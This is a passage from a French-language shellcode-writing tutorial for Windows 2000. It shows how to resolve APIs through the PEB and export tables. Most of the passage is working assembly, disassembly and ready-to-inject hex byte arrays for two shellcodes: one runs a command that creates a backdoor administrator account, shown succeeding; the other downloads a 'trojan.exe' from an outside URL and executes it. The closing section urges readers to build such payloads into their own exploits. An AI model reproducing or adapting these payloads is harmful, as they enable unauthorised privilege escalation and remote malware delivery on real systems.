push offset TABLE0
call LoadLibraryA // LoadLibaryA ("user32.dll");
push eax // eax = HMODULE
push 'xitW'
push 1
call MyGetProcAddress // MyGetProcAddress (ImageBase,1,"xitW")
// retrouve l'adresse de E'xitW'indows()
push 0
push 0
call eax // ExitWindows (0,0);
push dword ptr [ebp-4]
push 'xitP'
call MyGetProcAddress // MyGetProcAddress (ImageBase,1,"xitP");
// retrouve l'adresse de E'xitP'rocess()
push 0
call eax // ExitProcess (0);
------------------------
Rassurez vous, il vas être relativement facile d'élaborer une telle fonction.
Il suffit de reprendre le bout de code qui permet de scanner l'export table (generic1.c) et
d'y apporter une toute petite modification
--------------- SNIP ---------------
[... generic1.c ...]
// patch //
search_func:
mov esi, dword ptr [edx+4*ebx]
add esi, eax // esi = names[i]
add esi, dword ptr [esp+0x14] // offsetApi
mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset];
cmp esi, dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern)
je get_func_address; // else loop
dec ebx // j--
and ebx, ebx
jnz search_func // if (j != 0)
// # functions[]
pop eax
pop eax
xor eax,eax
ret // retourne 0 si APINAME introuvable
// End of patch //
--------------- EOF -------------------
Très bien, Nous pouvons dorénavant nous pencher sur le problème lié à LoadLibraryA.
comme vous avez du le remarquer, notre fonction MyGetProcAddress a besoin de l'adresse de base
de la DLL dans laquelle effectuer sa recherche.
pour cela, la fonction LoadLibraryA nous retourne un handle vers cette information, mais
dans le cas ou notre librairie serait déjà chargé par notre processus, la technique du PEB
nous permet de nous baser sur un pattern de UN SEUL BYTE !
-- SNIP --
search_dll_loop:
mov esi, dword ptr [eax+0x30]
cmp byte ptr [esi], 'K' // K = 'K'ernel32.dll
jnz search_dll_next
---------
Notre but est donc de recréer cette fonction de magière générique, de facon a pouvoir spécifier le byte
de référence qui nous permettra de retrouver l'imagebase de n'importe quelle DLL situé dans le PEB.
Ce qui donne :
--------- SNIP ----------
search_dll_loop:
mov ebx, dword ptr [esp+8] // ebx = patternDLL
mov esi, dword ptr [eax+0x30] // byte ptr [esi] =
MODULE_ITEM->FileName.Buffer[0]
add esi, dword ptr [esp+4] // offsetDLL
cmp byte ptr [esi], bl //
jnz search_dll_next // if (edi != (BYTE)patternDLL) goto
search_kernel32_next
-------------------------
En fait, nous partons du principe que la dll à rechercher est déjà mappée avec le processus a exploiter,
nous devrons donc utiliser LoadLibraryA si notre shellcode doit travailler avec une DLL non utilisée pour
que celle ci soit référencée dans le PEB.
Certains diront que la chose est donc inutile, mais cela est nécessaire si nous désirons...
///
4.C) LA MISE EN PLACE D'UNE FONCTION ASM EXPORTABLE EST INJECTABLE
///
Le but du jeu est maintenant de packager les connaissances, c'est à dire de créer une fonction
qui pourra être facilement utilisée comme support dans votre conception de shellcode basé sur le PEB.
Si nous récapitulons, concrètement, nous avons besoin de :
- UN BYTE définissant la dll pour laquelle retrouver l'adresse de base
- UN DWORD pointant sur le byte de la dll a rechercher
- UN DWORD définissant un pattern pour l'API dont on doit connaitre l'adresse exportée
- UN DWORD pour l'offset pointant sur le pattern
ok, voici ce que donne le prototype de notre fonction
-
int API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD patternAPI)
-
place au code
---------------------------------------------------- PEB.asm -----------------------------------------------
API_search :
push 0x30
pop ebx // elimination des /x00
mov eax, fs:[ebx] // eax = GetCurrentPEB()
mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo
mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink
search_dll_loop:
mov ebx, dword ptr [esp+8] // ebx = patternDLL
mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
add esi, dword ptr [esp+4] // offsetDLL
cmp byte ptr [esi], bl //
jnz search_dll_next // if (edi != (BYTE)patternDLL) goto search_kernel32_next
//---
mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase;
mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew
add ebx, eax // ebx = PIMAGE_NT_HEADERS
mov ebx, dword ptr [ebx+0x78] // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY
mov esi, dword ptr [ebx+0x1C]
add esi, eax // esi = base + expdir->AddressOfFunctions
push esi // # functions[]
mov esi, dword ptr [ebx+0x24]
add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
push esi // # functions[] # ordinals[]
mov edx, dword ptr [ebx+0x20]
add edx, eax // edx = base + expdir->AddressOfNames
mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
dec ebx // i--
search_func:
mov esi, dword ptr [edx+4*ebx]
add esi, eax // esi = names[i]
add esi, dword ptr [esp+0x14] // offsetApi
mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset];
cmp esi, dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern)
je get_func_address; // if (memcmp(names[i], apiname, 12) == 0)
dec ebx // j--
and ebx, ebx
jnz search_func // if (j != 0)
// # functions[]
pop eax
pop eax
xor eax,eax
ret // retourne 0 si APINAME introuvable
get_func_address:
pop edi // edi = ordinals[]
// # functions[]
xor ecx, ecx
mov cx, word ptr [edi+2*ebx] // bx = ordinals[i]
pop edi // edi = functions[]
// #
mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
lea eax, [edi+eax]
ret
search_dll_next:
mov ebx, dword ptr [eax] // elimination des /x00
mov eax, ebx // eax = PMODULE_ITEM
cmp eax, ecx
jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret
---------------------------------------------------- EOF --------------------------------------------------------------
Voila, pour utiliser la fonction, voici deux exemples concrets de shellcodes qui vaudront surement mieux
qu'un long discours
/*************************************************************************************
V. QUELQUES SHELCODES GENERQUES, BASES SUR LA FONCTION MAGIQUE
*************************************************************************************/
///
5.1) SHELLCODE GENERIQUE D'EXECUTION DE COMMANDE. (150 bytes)
///
=============================================== EXEC.C ==================================================
/*
* Exec win23 shellcode
* By ThreaT.
*
* Exécute la ligne de commande indiquée en fin de shellcode
*
* Win2K all service pack, 150 bytes injectable, huhu :)))
*/
/** snip code **
===============================
====== EL8 source code ========
===============================
#include
void main ()
{
__asm {
int 3
jmp offset1
API_search :
push 0x30
pop ebx // elimination des /x00
mov eax, fs:[ebx] // eax = GetCurrentPEB()
mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo
mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink }
search_dll_loop:
mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
cmp byte ptr [esi], 'K'
jnz search_dll_next // if (edi != 'K') goto search_kernel32_next
//---
mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase;
mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew
add ebx, eax // ebx = PIMAGE_NT_HEADERS
mov ebx, dword ptr [ebx+0x78] // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY
mov esi, dword ptr [ebx+0x1C]
add esi, eax // esi = base + expdir->AddressOfFunctions
push esi // # functions[]
mov esi, dword ptr [ebx+0x24]
add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
push esi // # functions[] # ordinals[]
mov edx, dword ptr [ebx+0x20]
add edx, eax // edx = base + expdir->AddressOfNames
mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
dec ebx // i--
search_func:
mov esi, dword ptr [edx+4*ebx]
add esi, eax // esi = names[i]
add esi, dword ptr [esp+10h]
mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset];
cmp esi, dword ptr [esp+0xC] // if (*(DWORD *) names[i][startoffset] == pattern)
je get_func_address; // if (memcmp(names[i], apiname, 12) == 0)
dec ebx // j--
and ebx, ebx
jnz search_func // if (j != 0)
// # functions[]
pop eax
pop eax
xor eax,eax
ret // retourne 0 si APINAME introuvable
get_func_address:
pop edi // edi = ordinals[]
// # functions[]
xor ecx, ecx
mov cx, word ptr [edi+2*ebx] // bx = ordinals[i]
pop edi // edi = functions[]
// #
mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
lea eax, [edi+eax]
ret
//---
search_dll_next:
mov ebx, dword ptr [eax] // elimination des /x00
mov eax, ebx // eax = PMODULE_ITEM
cmp eax, ecx
jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret
offset1 : jmp startup
start :
push 1
push 'xEni'
call API_search //retrouve l'adresse de WinExec.
push 1
push dword ptr [esp+0xc]
call eax //WinExec (command,SW_SHOW)
push 1
push 'Ptix'
call API_search
call eax // ExitProcess (0)
startup :
call start
// "cmd"
}
}
===============================
======== Disassemble ==========
===============================
:00401007 EB6B jmp 00401074
* Referenced by a CALL at Addresses:
|:0040107D , :00401091
|
:00401009 6A30 push 00000030
:0040100B 5B pop ebx
:0040100C 648B03 mov eax, dword ptr fs:[ebx]
:0040100F 8B400C mov eax, dword ptr [eax+0C]
:00401012 8B480C mov ecx, dword ptr [eax+0C]
:00401015 8BC1 mov eax, ecx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401071(C)
|
:00401017 8B7030 mov esi, dword ptr [eax+30]
:0040101A 803E4B cmp byte ptr [esi], 4B
:0040101D 754C jne 0040106B
:0040101F 8B4018 mov eax, dword ptr [eax+18]
:00401022 8B583C mov ebx, dword ptr [eax+3C]
:00401025 03D8 add ebx, eax
:00401027 8B5B78 mov ebx, dword ptr [ebx+78]
:0040102A 03D8 add ebx, eax
:0040102C 8B731C mov esi, dword ptr [ebx+1C]
:0040102F 03F0 add esi, eax
:00401031 56 push esi
:00401032 8B7324 mov esi, dword ptr [ebx+24]
:00401035 03F0 add esi, eax
:00401037 56 push esi
:00401038 8B5320 mov edx, dword ptr [ebx+20]
:0040103B 03D0 add edx, eax
:0040103D 8B5B18 mov ebx, dword ptr [ebx+18]
:00401040 4B dec ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401055(C)
|
:00401041 8B349A mov esi, dword ptr [edx+4*ebx]
:00401044 03F0 add esi, eax
:00401046 03742410 add esi, dword ptr [esp+10]
:0040104A 8B36 mov esi, dword ptr [esi]
:0040104C 3B74240C cmp esi, dword ptr [esp+0C]
:00401050 740A je 0040105C
:00401052 4B dec ebx
:00401053 23DB and ebx, ebx
:00401055 75EA jne 00401041
:00401057 58 pop eax
:00401058 58 pop eax
:00401059 33C0 xor eax, eax
:0040105B C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401050(C)
|
:0040105C 5F pop edi
:0040105D 33C9 xor ecx, ecx
:0040105F 668B0C5F mov cx, word ptr [edi+2*ebx]
:00401063 5F pop edi
:00401064 8B3C8F mov edi, dword ptr [edi+4*ecx]
:00401067 8D0407 lea eax, dword ptr [edi+eax]
:0040106A C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040101D(C)
|
:0040106B 8B18 mov ebx, dword ptr [eax]
:0040106D 8BC3 mov eax, ebx
:0040106F 3BC1 cmp eax, ecx
:00401071 75A4 jne 00401017
:00401073 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401007(U)
|
:00401074 EB22 jmp 00401098
* Referenced by a CALL at Address:
|:00401098
|
:00401076 6A01 push 00000001
:00401078 68696E4578 push 78456E69
:0040107D E887FFFFFF call 00401009
:00401082 6A01 push 00000001
:00401084 FF74240C push [esp+0C]
:00401088 FFD0 call eax
:0040108A 6A01 push 00000001
:0040108C 6878697450 push 50746978
:00401091 E873FFFFFF call 00401009
:00401096 FFD0 call eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401074(U)
|
:00401098 E8D9FFFFFF call 00401076
** end **/
int main ()
{
// Generated by Hex Workshop
// essai4.exe - Starting Offset: 4103 (0x00001007) Length: 150 (0x00000096)
unsigned char rawData[] = {
"/xEB/x6B/x6A/x30/x5B/x64/x8B/x03/x8B/x40/x0C/x8B/x48/x0C/x8B/xC1"
"/x8B/x70/x30/x80/x3E/x4B/x75/x4C/x8B/x40/x18/x8B/x58/x3C/x03/xD8"
"/x8B/x5B/x78/x03/xD8/x8B/x73/x1C/x03/xF0/x56/x8B/x73/x24/x03/xF0"
"/x56/x8B/x53/x20/x03/xD0/x8B/x5B/x18/x4B/x8B/x34/x9A/x03/xF0/x03"
"/x74/x24/x10/x8B/x36/x3B/x74/x24/x0C/x74/x0A/x4B/x23/xDB/x75/xEA"
"/x58/x58/x33/xC0/xC3/x5F/x33/xC9/x66/x8B/x0C/x5F/x5F/x8B/x3C/x8F"
"/x8D/x04/x07/xC3/x8B/x18/x8B/xC3/x3B/xC1/x75/xA4/xC3/xEB/x22/x6A"
"/x01/x68/x69/x6E/x45/x78/xE8/x87/xFF/xFF/xFF/x6A/x01/xFF/x74/x24"
"/x0C/xFF/xD0/x6A/x01/x68/x78/x69/x74/x50/xE8/x73/xFF/xFF/xFF/xFF"
"/xD0/xE8/xD9/xFF/xFF/xFF"
// commande à executer
"cmd /c @net user ThreaT /add && net localgroup administrateurs ThreaT /add"
} ;
void (*shellcode) () = ( void* ) rawData;
shellcode ();
return 0;
}
/*
E:/code/SP>cl exec.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
exec.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:exec.exe
exec.obj
E:/code/SP>exec
E:/code/SP>La commande s'est terminée correctement.
La commande s'est terminée correctement.
E:/code/SP>net user
comptes d'utilisateurs de //M1
-------------------------------------------------------------------------------
Administrateur Invité IUSR_AZERTY
IWAM_AZERTY ThreaT TsInternetUser
La commande s'est terminée correctement.
E:/code/SP>net user ThreaT
Nom d'utilisateur ThreaT
Nom complet
Commentaire
Commentaires utilisateur
Code du pays 000 (Valeur par défaut du
système
)
Compte : actif Oui
Le compte expire Jamais
Mot de passe : dernier changmt. 2/11/2003 9:39 PM
Le mot de passe expire 3/26/2003 8:27 PM
Le mot de passe modifiable 2/11/2003 9:39 PM
Mot de passe exigé Oui
L'utilisateur peut changer de mot de passe Oui
Stations autorisées Tout
Script d'ouverture de session
Profil d'utilisateur
Répertoire de base
Dernier accès Jamais
Heures d'accès autorisé Tout
Appartient aux groupes locaux *Administrateurs
*Utilisateurs
Appartient aux groupes globaux *Aucun
La commande s'est terminée correctement.
E:/code/SP>
*/
=================================================== EOF ================================================
///
5.2) SHELLCODE GENERIQUE DOWNLOAD & EXECUTE FROM URL (247 bytes)
///
================================================ DLEXEC.c =============================================
/* Download & execute Real generic win32 Shellcode.
*
* By ThreaT.
*
*
* =================================================================
Ce shellcode download un fichier pointé par l'URL indiquée,
et l'exécute sur la machine cible
* =================================================================
*
* Shellcode Generique pour win2k, testé sur SP0, SP2 et SP3
*
* - Auncune adresse hardcodé !
* - 247 bytes injectables (sans l'URL)
*
* -> [email protected]
*
*/
/* snip code *
===============================
====== EL8 source code ========
===============================
#include
void main ()
{
__asm {
jmp offset1
//API_search (DWORD OffsetDll, Byte PatternDLL, DWORD OffsetApi, DWORD
patternAPI)
API_search :
push 0x30
pop ebx // elimination des /x00
mov eax, fs:[ebx] // eax = GetCurrentPEB()
mov eax, dword ptr [eax+0xC] // eax = PEB->ProcessModuleInfo
mov ecx, dword ptr [eax+0xC] // ecx = &PEB->ProcessModuleInfo.ModuleListLoadOrder
mov eax, ecx // eax = &PEB->ProcessModuleInfo.ModuleListLoadOrder.Flink }
search_dll_loop:
mov ebx, dword ptr [esp+8] // ebx = patternDLL
mov esi, dword ptr [eax+0x30] // byte ptr [esi] = MODULE_ITEM->FileName.Buffer[0]
add esi, dword ptr [esp+4] // offsetDLL
cmp byte ptr [esi], bl //
jnz search_dll_next // if (edi != (BYTE)patternDLL) goto search_kernel32_next
//---
mov eax, dword ptr [eax+0x18] // eax = MODULE_ITEM->FileName.ImageBase;
mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew
add ebx, eax // ebx = PIMAGE_NT_HEADERS
mov ebx, dword ptr [ebx+0x78] // ebx = PIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress
add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY
mov esi, dword ptr [ebx+0x1C]
add esi, eax // esi = base + expdir->AddressOfFunctions
push esi // # functions[]
mov esi, dword ptr [ebx+0x24]
add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals
push esi // # functions[] # ordinals[]
mov edx, dword ptr [ebx+0x20]
add edx, eax // edx = base + expdir->AddressOfNames
mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames
dec ebx // i--
search_func:
mov esi, dword ptr [edx+4*ebx]
add esi, eax // esi = names[i]
add esi, dword ptr [esp+0x14] // offsetApi
mov esi, dword ptr [esi] // esi = *(DWORD *) names[i][startoffset];
cmp esi, dword ptr [esp+0x18] // if (*(DWORD *) names[i][startoffset] == pattern)
je get_func_address; // if (memcmp(names[i], apiname, 12) == 0)
dec ebx // j--
and ebx, ebx
jnz search_func // if (j != 0)
// # functions[]
pop eax
pop eax
xor eax,eax
ret // retourne 0 si APINAME introuvable
get_func_address:
pop edi // edi = ordinals[]
// # functions[]
xor ecx, ecx
mov cx, word ptr [edi+2*ebx] // bx = ordinals[i]
pop edi // edi = functions[]
// #
mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]]
lea eax, [edi+eax]
ret
search_dll_next:
mov ebx, dword ptr [eax] // elimination des /x00
mov eax, ebx // eax = PMODULE_ITEM
cmp eax, ecx
jnz search_dll_loop // while (eax == &PEB->ProcessModuleInfo.ModuleListLoadOrder)
ret
offset1 : jmp startup
start :
xor ebx,ebx
push 'AxEy'
push 10
push 'K'
push ebx
call API_search // Recherche l'adresse exportée de Kernel32!LoadLibraryA
// API_search (0, 'K', 10, 'yExa')
xor ecx, ecx
push ecx
push 'mlru'
mov word ptr [esp+4], 'no'
mov ebp,esp // cree un stack avec "urlmon"
push ecx
push ecx
push ebp
call eax // LoadLibraryExA ("urlmon",0,0)
push 'Aeli'
push 14
push 'r'
push 2
call API_search // retrouve l'adresse exportée de
URLMON!URLDownloadToFileA
// API_search (2,'r',14, "ileA")
xor ebx, ebx
push ebx
push 'xe.a'
mov byte ptr [esp+4], 'e'
mov ecx, esp //cree un stack avec "a.exe"
push ebx
push ebx
push ecx // (char*)file
push dword ptr [ebp+0x18] // URL du fichier a download = pointeur sur fin
de shellcode
push ebx
call eax // download it ! !
// URLMON!URLDownloadToFileA (NULL,(char*)myurl, "a.exe",NULL,NULL)
xor ebx, ebx
push 'xEni'
push 1
push 'K'
push ebx
call API_search //retrouve l'adresse exportée de Kernel32!WinExec
// API_search (0,'K',1, "inEx")
lea ecx, [esp+0x10] // ecx = (char*)file // "a.exe"
push 1 // SW_SHOW (SW_HIDE = 0)
push ecx
call eax // execute le fichier downloadé precedement
// WinExec ("a.exe",SW_SHOW)
xor ebx, ebx
push 'Ptix'
push 1
push 'K'
push ebx
call API_search // retrouve l'adresse exportée de Kernel32!ExitProcess
// API_search (0,'K',1,"xitP")
call eax // ExitProcess (0)
// terminus, tout le monde descend !
startup :
call start // ce call sert a pointer sur le main() en pushant sur le stack
// l'adresse de notre URL
// --> "http://www.chez.com/mvm/trojan.exe"
}
}
===============================
===============================
====== Disassembled data ======
===============================
===============================
:00401006 EB72 jmp 0040107A
* Referenced by a CALL at Addresses:
|:00401088 , :004010AE , :004010D7 , :004010F1
|
:00401008 6A30 push 00000030
:0040100A 5B pop ebx
:0040100B 648B03 mov eax, dword ptr fs:[ebx]
:0040100E 8B400C mov eax, dword ptr [eax+0C]
:00401011 8B480C mov ecx, dword ptr [eax+0C]
:00401014 8BC1 mov eax, ecx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401077(C)
|
:00401016 8B5C2408 mov ebx, dword ptr [esp+08]
:0040101A 8B7030 mov esi, dword ptr [eax+30]
:0040101D 03742404 add esi, dword ptr [esp+04]
:00401021 381E cmp byte ptr [esi], bl
:00401023 754C jne 00401071
:00401025 8B4018 mov eax, dword ptr [eax+18]
:00401028 8B583C mov ebx, dword ptr [eax+3C]
:0040102B 03D8 add ebx, eax
:0040102D 8B5B78 mov ebx, dword ptr [ebx+78]
:00401030 03D8 add ebx, eax
:00401032 8B731C mov esi, dword ptr [ebx+1C]
:00401035 03F0 add esi, eax
:00401037 56 push esi
:00401038 8B7324 mov esi, dword ptr [ebx+24]
:0040103B 03F0 add esi, eax
:0040103D 56 push esi
:0040103E 8B5320 mov edx, dword ptr [ebx+20]
:00401041 03D0 add edx, eax
:00401043 8B5B18 mov ebx, dword ptr [ebx+18]
:00401046 4B dec ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040105B(C)
|
:00401047 8B349A mov esi, dword ptr [edx+4*ebx]
:0040104A 03F0 add esi, eax
:0040104C 03742414 add esi, dword ptr [esp+14]
:00401050 8B36 mov esi, dword ptr [esi]
:00401052 3B742418 cmp esi, dword ptr [esp+18]
:00401056 740A je 00401062
:00401058 4B dec ebx
:00401059 23DB and ebx, ebx
:0040105B 75EA jne 00401047
:0040105D 58 pop eax
:0040105E 58 pop eax
:0040105F 33C0 xor eax, eax
:00401061 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401056(C)
|
:00401062 5F pop edi
:00401063 33C9 xor ecx, ecx
:00401065 668B0C5F mov cx, word ptr [edi+2*ebx]
:00401069 5F pop edi
:0040106A 8B3C8F mov edi, dword ptr [edi+4*ecx]
:0040106D 8D0407 lea eax, dword ptr [edi+eax]
:00401070 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401023(C)
|
:00401071 8B18 mov ebx, dword ptr [eax]
:00401073 8BC3 mov eax, ebx
:00401075 3BC1 cmp eax, ecx
:00401077 759D jne 00401016
:00401079 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401006(U)
|
:0040107A EB7C jmp 004010F8
* Referenced by a CALL at Address:
|:004010F8
|
:0040107C 33DB xor ebx, ebx
:0040107E 6879457841 push 41784579
:00401083 6A0A push 0000000A
:00401085 6A4B push 0000004B
:00401087 53 push ebx
:00401088 E87BFFFFFF call 00401008
:0040108D 33C9 xor ecx, ecx
:0040108F 51 push ecx
:00401090 6875726C6D push 6D6C7275
:00401095 66C74424046F6E mov [esp+04], 6E6F
:0040109C 8BEC mov ebp, esp
:0040109E 51 push ecx
:0040109F 51 push ecx
:004010A0 55 push ebp
:004010A1 FFD0 call eax
:004010A3 68696C6541 push 41656C69
:004010A8 6A0E push 0000000E
:004010AA 6A72 push 00000072
:004010AC 6A02 push 00000002
:004010AE E855FFFFFF call 00401008
:004010B3 33DB xor ebx, ebx
:004010B5 53 push ebx
:004010B6 68612E6578 push 78652E61
:004010BB C644240465 mov [esp+04], 65
:004010C0 8BCC mov ecx, esp
:004010C2 53 push ebx
:004010C3 53 push ebx
:004010C4 51 push ecx
:004010C5 FF7518 push [ebp+18]
:004010C8 53 push ebx
:004010C9 FFD0 call eax
:004010CB 33DB xor ebx, ebx
:004010CD 68696E4578 push 78456E69
:004010D2 6A01 push 00000001
:004010D4 6A4B push 0000004B
:004010D6 53 push ebx
:004010D7 E82CFFFFFF call 00401008
:004010DC 8D4C2410 lea ecx, dword ptr [esp+10]
:004010E0 6A01 push 00000001
:004010E2 51 push ecx
:004010E3 FFD0 call eax
:004010E5 33DB xor ebx, ebx
:004010E7 6878697450 push 50746978
:004010EC 6A01 push 00000001
:004010EE 6A4B push 0000004B
:004010F0 53 push ebx
:004010F1 E812FFFFFF call 00401008
:004010F6 FFD0 call eax
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040107A(U)
|
:004010F8 E87FFFFFFF call 0040107C
===============================
===============================
===============================
** end */
int main ()
{
// Generated by Hex Workshop
// essai5.exe - Starting Offset: 4102 (0x00001006) Length: 247 (0x000000F7)
unsigned char rawData[] = {
"/xEB/x72/x6A/x30/x5B/x64/x8B/x03/x8B/x40/x0C/x8B/x48/x0C/x8B/xC1"
"/x8B/x5C/x24/x08/x8B/x70/x30/x03/x74/x24/x04/x38/x1E/x75/x4C/x8B"
"/x40/x18/x8B/x58/x3C/x03/xD8/x8B/x5B/x78/x03/xD8/x8B/x73/x1C/x03"
"/xF0/x56/x8B/x73/x24/x03/xF0/x56/x8B/x53/x20/x03/xD0/x8B/x5B/x18"
"/x4B/x8B/x34/x9A/x03/xF0/x03/x74/x24/x14/x8B/x36/x3B/x74/x24/x18"
"/x74/x0A/x4B/x23/xDB/x75/xEA/x58/x58/x33/xC0/xC3/x5F/x33/xC9/x66"
"/x8B/x0C/x5F/x5F/x8B/x3C/x8F/x8D/x04/x07/xC3/x8B/x18/x8B/xC3/x3B"
"/xC1/x75/x9D/xC3/xEB/x7C/x33/xDB/x68/x79/x45/x78/x41/x6A/x0A/x6A"
"/x4B/x53/xE8/x7B/xFF/xFF/xFF/x33/xC9/x51/x68/x75/x72/x6C/x6D/x66"
"/xC7/x44/x24/x04/x6F/x6E/x8B/xEC/x51/x51/x55/xFF/xD0/x68/x69/x6C"
"/x65/x41/x6A/x0E/x6A/x72/x6A/x02/xE8/x55/xFF/xFF/xFF/x33/xDB/x53"
"/x68/x61/x2E/x65/x78/xC6/x44/x24/x04/x65/x8B/xCC/x53/x53/x51/xFF"
"/x75/x18/x53/xFF/xD0/x33/xDB/x68/x69/x6E/x45/x78/x6A/x01/x6A/x4B"
"/x53/xE8/x2C/xFF/xFF/xFF/x8D/x4C/x24/x10/x6A/x01/x51/xFF/xD0/x33"
"/xDB/x68/x78/x69/x74/x50/x6A/x01/x6A/x4B/x53/xE8/x12/xFF/xFF/xFF"
"/xFF/xD0/xE8/x7F/xFF/xFF/xFF"
"http://www.chez.com/mvm/trojan.exe"
} ;
void (*shellcode) () = ( void * ) rawData;
shellcode ();
return 0;
}
=================================================== EOF =================================================
/*************************************************************************************
VI. CONCLUSION
*************************************************************************************/
Pour conclure cet article, qui n'est rien d'autre qu'un grain de sable dans la plage
de connaissance des shellcodes, nous attirons votre attention sur le fait que cette
technique n'a été élaborée que pour windows 2000, ce qui peut être une problématique
dans le cas d'une exploitation censée marcher dans un environement hétérogène (win9x/NT/2k/xp/...)
Nous espérons donc que cette solution (spécifique a win2K) vous ouvrira les chakras
de l'innovation dans la conception de vos futures exploits des autres OS de la gamme
Windows, et que nous n'aurons plus à supporter à l'avenir des codes sources hideux, comportant
d'infames buffers initialisés avec des shellcodes dépassant les 500 octets ! !
/*************************************************************************************
VII. FIN
*************************************************************************************/
ENFIN ! l'article est fini !
vous pouvez maintenant couper votre ordinateur et reprendre une activité normale :)
CONTACT
_______
de ce paper <**> */